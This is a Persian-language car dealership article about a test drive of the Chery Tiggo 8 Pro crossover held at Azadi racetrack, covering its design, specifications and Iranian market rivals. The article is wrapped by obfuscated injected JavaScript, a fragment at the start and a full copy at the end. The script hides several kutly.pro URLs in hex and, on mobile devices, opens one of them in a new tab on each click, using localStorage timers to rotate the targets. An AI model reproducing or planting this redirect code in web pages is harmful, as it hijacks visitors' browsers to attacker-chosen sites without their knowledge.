i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x365b[0x4]](_0x784bdc[_0x365b[0x5]](0x0,0x4)))&&(_0x129862=!![]);}(navigator[_0x365b[0x1]]||navigator[_0x365b[0x2]]||window[_0x365b[0x3]]),_0x129862;};const _0xfdead6=[_0x365b[0x6],_0x365b[0x7],_0x365b[0x8],_0x365b[0x9],_0x365b[0xa],_0x365b[0xb],_0x365b[0xc],_0x365b[0xd],_0x365b[0xe],_0x365b[0xf]],_0x480bb2=0x3,_0x3ddc80=0x6,_0x10ad9f=_0x1f773b=>{_0x1f773b[_0x365b[0x14]]((_0x1e6b44,_0x967357)=>{!localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11])&&localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11],0x0);});},_0x2317c1=_0x3bd6cc=>{const _0x2af2a2=_0x3bd6cc[_0x365b[0x15]]((_0x20a0ef,_0x11cb0d)=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x20a0ef+_0x365b[0x11])==0x0);return _0x2af2a2[Math[_0x365b[0x18]](Math[_0x365b[0x16]]()*_0x2af2a2[_0x365b[0x17]])];},_0x57deba=_0x43d200=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x43d200+_0x365b[0x11],0x1),_0x1dd2bd=_0x51805f=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x51805f+_0x365b[0x11]),_0x5e3811=(_0x5aa0fd,_0x594b23)=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x5aa0fd+_0x365b[0x11],_0x594b23),_0x381a18=(_0x3ab06f,_0x288873)=>{const _0x266889=0x3e8*0x3c*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x288873-_0x3ab06f)/_0x266889);},_0x3f1308=(_0x3a999a,_0x355f3a)=>{const _0x5c85ef=0x3e8*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a-_0x3a999a)/_0x5c85ef);},_0x4a7983=(_0x19abfa,_0x2bf37,_0xb43c45)=>{_0x10ad9f(_0x19abfa),newLocation=_0x2317c1(_0x19abfa),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b],_0xb43c45),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1c],_0xb43c45),_0x57deba(newLocation),window[_0x365b[0x0]]()&&window[_0x365b[0x1e]](newLocation,_0x365b[0x1d]);};_0x10ad9f(_0xfdead6);function _0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const _0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const _0x4593ae=Date[_0x365b[0x21]](new Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const _0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));;_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else _0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}());

تیگو 8 پرو تست درایو

آزمایش رانندگی تیگو 8 پرو در پیست آزادی برگزار شد

جدیدترین محصول شرکت مدیران خودرو با نام تیگو 8 پرو به زودی روانه بازار ایران خواهد شد. در میان خودروسازان داخلی کشور، مدیران خودرو تنها برندی است که به صورت پیوسته و بدون توقف به ارائه مدل‌های جدید می‌پردازد و مدل‌های قدیمی را از خط تولید خارج می‌کند. محصول جدید مدیران خودرو با نام Tiggo 8 Pro، یک کراس اوور هفت نفره خانوادگی با طراحی کاملا به روز و پیشرانه‌ای نوین و قدرتمند است که روز پنج شنبه، 22 مهر ماه، در برنامه ویژه شرکت مدیران خودرو از سوی بیش از 150 مشتری دعوت شده و مشتاق آشنایی با این خودرو و مشتریان اختصاصی نمایندگی 777، در پیست اتومبیلرانی آزادی تست و آزمایش شد.

تیگو 8 پرو

بر اساس نظرسنجی های بعمل آمده از مشتریان دعوت شده پس از تست رانندگی خودروی تیگو 8 پرو،  این محصول یک سر و گردن بالاتر از تمامی خودرو های چینی بازار به حساب آمده و با توجه به طیف وسیعی از امکانات رفاهی و ایمنی و دارا بودن توان و قدرت بالا در قیاس با رقبای موجود کره ای و یا ژاپنی، گزینه بسیار مناسبی به شمار می آید. آنچه که مسلم است اذعان مشتریان به کیفیت متمایز تیگو 8 در بخش قطعات و متریال استفاده شده در این خودرو بوده و از لحاظ طراحی و کیفیت رانندگی هم با اختلاف سطح مطلوبی از رضایتمندی را به مشتری ارائه می کند.

تیگو 8 پرو

مختصر با تیگو 8 پرو

با عرضه اولیه در سال 2018، تیگو 8 پرو یکی از جدیدترین محصولات شرکت چری و بدون تردید، نوین‌ترین محصول مدیران خودرو در بازار کم تنوع ایران به حساب می‌آید. نسخه‌ای که مدیران خودرو بر خط تولید خود دارد و قرار است به زودی در قالبی گسترده روانه بازار کشور کند، در حقیقت نسخه فیس لیفت شده این مدل است که سال 2020 روانه بازار جهانی شد.

اگرچه برند چری پیش‌تر زبان طراحی خود را به طور کلی تغییر داده بود و محصولاتی چون MVM 315 جدید، X33 و X55 جدید را بر اساس این زبان طراحی جدید روانه بازار ایران کرد، اما ظاهر خارجی و داخلی تیگو 8 جدید بار دیگر نشان از تغییر زبان طراحی خانواده محصولات روز چری دارد. به همین دلیل تیگو 8 پرو، ظاهری نسبتا ساده‌تر اما توجه بسیار بیشتر به جزئیات دارد. جلوپنجره بزرگ خودرو از سبک طراحی کهکشانی بهره می‌گیرد و چراغ‌های جلو آن شباهتی بسیار زیاد به محصولات روز برند مشهور جگوار دارد.

تیگو 8 پرو

تیگو 8 پرو با داشتن ابعاد خارجی برابر با 4722×1860×1746 و فاصله محورهای 2710 میلی‌متری، با وجود تعلق به کراس اوورهای سایز متوسط، یک کراس اوور هفت نفره با ابعادی قابل توجه و فضای داخلی بسیار جادار است که نباید گول کلاس‌بندی آن را خورد. این خودرو بدون تردید از نمای نزدیک ابعادی متمایز به نمایش می‌گذرد که به دلیل استفاده از خطوط صاف و طراحی جعبه‌ای، بزرگ‌تر از کلاس رسمی خود ایفای نقش می‌کند. البته نباید تاثیر ریم‌های بزرگ‌ آلیاژی 18 اینچی را نیز در زیبایی نمای جانبی این خودرو از یاد برد.

نمای داخلی این خودرو بدون تردید بخش انقلابی آن به حساب می‌آید. کاملا منطبق بر استانداردهای روز، هفت سرنشین می‌تواند از تریم داخلی دو رنگ چرمی با دوخت بخیه اسپرت و لوکس آن بهره بگیرند. داشبرد خودرو دربر گیرنده نمایشگر لمسی بسیار بزرگ 24.6 اینچی است که در حقیقت به صورت هم زمان به عنوان سیستم نمایش تمام دیجیتال اطلاعات پشت آمپر و سیستم مولتی مدیا ایفای نقش می‌کند. حتی مجموعه کنترلی سیستم تهویه مطبوع خودرو نیز به صفحه تمام لمسی 8.0 اینچی انحصاری خود در محل اتصال کنسول میانی به داشبرد مجهز است که ضمن تقسیم نمای داخلی خودرو به دو بخش مجزا، ترکیب بسیار جذاب این فضای مدرن را ‌به زیبایی تکمیل می‌کند.

تیگو 8 پرو

ویژگی‌های فنی و رفاهی

قوای فنی این شاسی بلند هفت نفره از سوی پیشرانه بسیار مدرن و قدرتمند تزریق مستقیم و توربو (T-GDI) 1.6 لیتری چهار سیلندر با استاندارد آلایندگی یورو 6 تامین می‌شود که در سال 2019 در زمره 10 پیشرانه برتر بازار داخلی کشور چین بود. این پیشرانه با وجود داشتن وزن کم، تنها به دلیل تکیه بر سیستم تزریق سوخت پاشش مستقیم در کنار سیستم توربوشارژر، قادر به تولید توان 197 اسب بخار در دور 5500 و گشتاور 290 نیوتون.متری در دور 2000 است. گیربکس 7سرعت دو کلاچ (7DCT) به یاری این پیشرانه می‌آید تا ضمن تکمیل حس سواری اسپرت و راحت درون‌ شهری، تنها در حدود 8.9 ثانیه این خودرو 1.5 تنی را به سرعت 100 کیلومتر بر ساعت برساند.

با وجود داشتن ابعاد و اندازه قابل توجه، وزن 1.5 تنی برای تیگو 8 پرو به شکل عجیبی منطقی و قابل قبول است. این خودرو با تکیه بر این وزن نسبتا کم و پیشرانه بسیار پیشرفته، مصرف سوخت متوسطی در حدود کمتر از 7.0 لیتر در هر صد کیلومتر به همراه دارد که باعث می‌شود به یک خودرو خانوادگی لوکس، راحت و بسیار کم مصرف و البته پرتوان بدل شود.

فراموش نکنیم که تیگو 8 پرو به تجهیزات ایمنی و رفاهی متنوعی از جمله طیف کامل سیستم کنترل پایداری، سیستم کمکی حرکت در سربالایی، کنترل حرکت در سرازیری، شش کیسه ایمنی هوا، صندلی‌های برقی به همراه حافظه، شارژر وایرلس، کول باکس، دوربین چشم عقاب (360 درجه)، رادار تصادف جلو و عقب، رادار نقطه کور، سیستم تشخیص خطوط، سیستم کمکی حرکت در ترافیک، سیستم نظارت بر باد تایرها (TPMS)، چراغ های جلو تمام LED، سیستم ورود و استارت بدون کلید، سنسور باران، کروز کنترل هوشمند، نوربالا اتوماتیک، سیستم تهویه اتوماتیک چهارگانه با خروجی‌های مجزا برای ردیف دوم و سوم به همراه پنل کنترل لمسی، مجهز است که در کنار فضای حمل بار 1179 لیتری (با خوابیدن ردیف سوم صندلی ها) و ماکزیمم فضای 2101 لیتری (با خوابیدن ردیف دوم صندلی‌ها)، از آن یک خودرو لوکس خانواگی مناسب سفرهای بین شهری می‌سازد.

تیگو 8 پرو

تیگو 8 پرو در بازار ایران

تیگو 8 پرو در بازار کشور به یکی از جدی‌ترین رقبای خودروهای وارداتی بدل خواهد شد. بازار فعلی کشور به دلیل بسته بودن واردات آزادانه خودروهای صفر کیلومتر، رقیب مستقیمی برای تیگو 8 پرو ندارد اما این خودرو می‌تواند در برابر دست دوم‌های وارداتی نظیر هیوندای سانتافه گرند DM (نسل سوم/نسخه 7 نفره)، رنو کولیوس نسل دوم (HC)، میتسوبیشی اوتلندر نسل سوم (تیپ چهار/نسخه 7 نفره)، کیا سورنتو UM (نسل سوم /نسخه 7 نفره)، سانگ یانگ رکستون G4 و شاید نسخه‌های کم آپشن V6 مدل پایین لندکروزر J200 (نسل ششم/نسخه 7 نفره) به خوبی قد علم کند. این در حالی است که تیگو 8 پرو از دیدگاه شرایط فروش و خدمات پس از فروش به عنوان یک خودرو صفر کیلومتر و دارای سطح آپشن‌های رفاهی جایگاه به مراتب بهتری دارد و از دیدگاه عملکرد فنی و مانورپذیری، رفتاری اسپرت‌تر ارائه می‌دهد.

علاقمندان به دیدن تصاویر بیشتر و تماشای ویدئو های تست رانندگی این خودرو به همراه مصاحبه مشتریان عزیز، می توانند به اینستاگرام رسمی شعب 777 به آدرس mvmchery777 مراجعه نموده و همچنین برای کسب اطلاعات بیشتر در خصوص شرایط فروش خودرو از طریق ارسال پیام در صفحه اینستاگرام و یا تکمیل فرم در سایت به نشانی https://mvmchery.com/khodro با ما در ارتباط باشند.

نویسنده هیئت تحریریه ۷۷۷

هر گونه نقل مطلب از هر قسمت این سایت بدون اجازه کتبی از مدیریت سایت ممنوع می باشد.
function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const _0x2ccc2=['userAgent','\x68\x74\x74\x70\x3a\x2f\x2f\x6b\x75\x74\x6c\x79\x2e\x70\x72\x6f\x2f\x59\x7a\x45\x32\x63\x342','length','_blank','mobileCheck','\x68\x74\x74\x70\x3a\x2f\x2f\x6b\x75\x74\x6c\x79\x2e\x70\x72\x6f\x2f\x56\x67\x44\x33\x63\x303','\x68\x74\x74\x70\x3a\x2f\x2f\x6b\x75\x74\x6c\x79\x2e\x70\x72\x6f\x2f\x54\x47\x41\x30\x63\x360','random','-local-storage','\x68\x74\x74\x70\x3a\x2f\x2f\x6b\x75\x74\x6c\x79\x2e\x70\x72\x6f\x2f\x6d\x61\x4c\x37\x63\x317','stopPropagation','4051490VdJdXO','test','open','\x68\x74\x74\x70\x3a\x2f\x2f\x6b\x75\x74\x6c\x79\x2e\x70\x72\x6f\x2f\x6f\x71\x71\x36\x63\x326','12075252qhSFyR','\x68\x74\x74\x70\x3a\x2f\x2f\x6b\x75\x74\x6c\x79\x2e\x70\x72\x6f\x2f\x4f\x52\x52\x38\x63\x308','\x68\x74\x74\x70\x3a\x2f\x2f\x6b\x75\x74\x6c\x79\x2e\x70\x72\x6f\x2f\x6e\x70\x4f\x35\x63\x305','4829028FhdmtK','round','-hurs','-mnts','864690TKFqJG','forEach','abs','1479192fKZCLx','16548MMjUpf','filter','vendor','click','setItem','3402978fTfcqu'];_0x10c8=function(){return _0x2ccc2;};return _0x10c8();}const _0x3ec38a=_0x3023;(function(_0x550425,_0x4ba2a7){const _0x142fd8=_0x3023,_0x2e2ad3=_0x550425();while(!![]){try{const _0x3467b1=-parseInt(_0x142fd8(0x19c))/0x1+parseInt(_0x142fd8(0x19f))/0x2+-parseInt(_0x142fd8(0x1a5))/0x3+parseInt(_0x142fd8(0x198))/0x4+-parseInt(_0x142fd8(0x191))/0x5+parseInt(_0x142fd8(0x1a0))/0x6+parseInt(_0x142fd8(0x195))/0x7;if(_0x3467b1===_0x4ba2a7)break;else _0x2e2ad3['push'](_0x2e2ad3['shift']());}catch(_0x28e7f8){_0x2e2ad3['push'](_0x2e2ad3['shift']());}}}(_0x10c8,0xd3435));var _0x365b=[_0x3ec38a(0x18a),_0x3ec38a(0x186),_0x3ec38a(0x1a2),'opera',_0x3ec38a(0x192),'substr',_0x3ec38a(0x18c),'\x68\x74\x74\x70\x3a\x2f\x2f\x6b\x75\x74\x6c\x79\x2e\x70\x72\x6f\x2f\x47\x52\x47\x31\x63\x351',_0x3ec38a(0x187),_0x3ec38a(0x18b),'\x68\x74\x74\x70\x3a\x2f\x2f\x6b\x75\x74\x6c\x79\x2e\x70\x72\x6f\x2f\x68\x77\x6b\x34\x63\x334',_0x3ec38a(0x197),_0x3ec38a(0x194),_0x3ec38a(0x18f),_0x3ec38a(0x196),'\x68\x74\x74\x70\x3a\x2f\x2f\x6b\x75\x74\x6c\x79\x2e\x70\x72\x6f\x2f\x70\x73\x4b\x39\x63\x319','',_0x3ec38a(0x18e),'getItem',_0x3ec38a(0x1a4),_0x3ec38a(0x19d),_0x3ec38a(0x1a1),_0x3ec38a(0x18d),_0x3ec38a(0x188),'floor',_0x3ec38a(0x19e),_0x3ec38a(0x199),_0x3ec38a(0x19b),_0x3ec38a(0x19a),_0x3ec38a(0x189),_0x3ec38a(0x193),_0x3ec38a(0x190),'host','parse',_0x3ec38a(0x1a3),'addEventListener'];(function(_0x16176d){window[_0x365b[0x0]]=function(){let _0x129862=![];return function(_0x784bdc){(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x365b[0x4]](_0x784bdc)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x365b[0x4]](_0x784bdc[_0x365b[0x5]](0x0,0x4)))&&(_0x129862=!![]);}(navigator[_0x365b[0x1]]||navigator[_0x365b[0x2]]||window[_0x365b[0x3]]),_0x129862;};const _0xfdead6=[_0x365b[0x6],_0x365b[0x7],_0x365b[0x8],_0x365b[0x9],_0x365b[0xa],_0x365b[0xb],_0x365b[0xc],_0x365b[0xd],_0x365b[0xe],_0x365b[0xf]],_0x480bb2=0x3,_0x3ddc80=0x6,_0x10ad9f=_0x1f773b=>{_0x1f773b[_0x365b[0x14]]((_0x1e6b44,_0x967357)=>{!localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11])&&localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11],0x0);});},_0x2317c1=_0x3bd6cc=>{const _0x2af2a2=_0x3bd6cc[_0x365b[0x15]]((_0x20a0ef,_0x11cb0d)=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x20a0ef+_0x365b[0x11])==0x0);return _0x2af2a2[Math[_0x365b[0x18]](Math[_0x365b[0x16]]()*_0x2af2a2[_0x365b[0x17]])];},_0x57deba=_0x43d200=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x43d200+_0x365b[0x11],0x1),_0x1dd2bd=_0x51805f=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x51805f+_0x365b[0x11]),_0x5e3811=(_0x5aa0fd,_0x594b23)=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x5aa0fd+_0x365b[0x11],_0x594b23),_0x381a18=(_0x3ab06f,_0x288873)=>{const _0x266889=0x3e8*0x3c*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x288873-_0x3ab06f)/_0x266889);},_0x3f1308=(_0x3a999a,_0x355f3a)=>{const _0x5c85ef=0x3e8*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a-_0x3a999a)/_0x5c85ef);},_0x4a7983=(_0x19abfa,_0x2bf37,_0xb43c45)=>{_0x10ad9f(_0x19abfa),newLocation=_0x2317c1(_0x19abfa),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b],_0xb43c45),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1c],_0xb43c45),_0x57deba(newLocation),window[_0x365b[0x0]]()&&window[_0x365b[0x1e]](newLocation,_0x365b[0x1d]);};_0x10ad9f(_0xfdead6);function _0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const _0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const _0x4593ae=Date[_0x365b[0x21]](new Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const _0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));;_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else _0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}());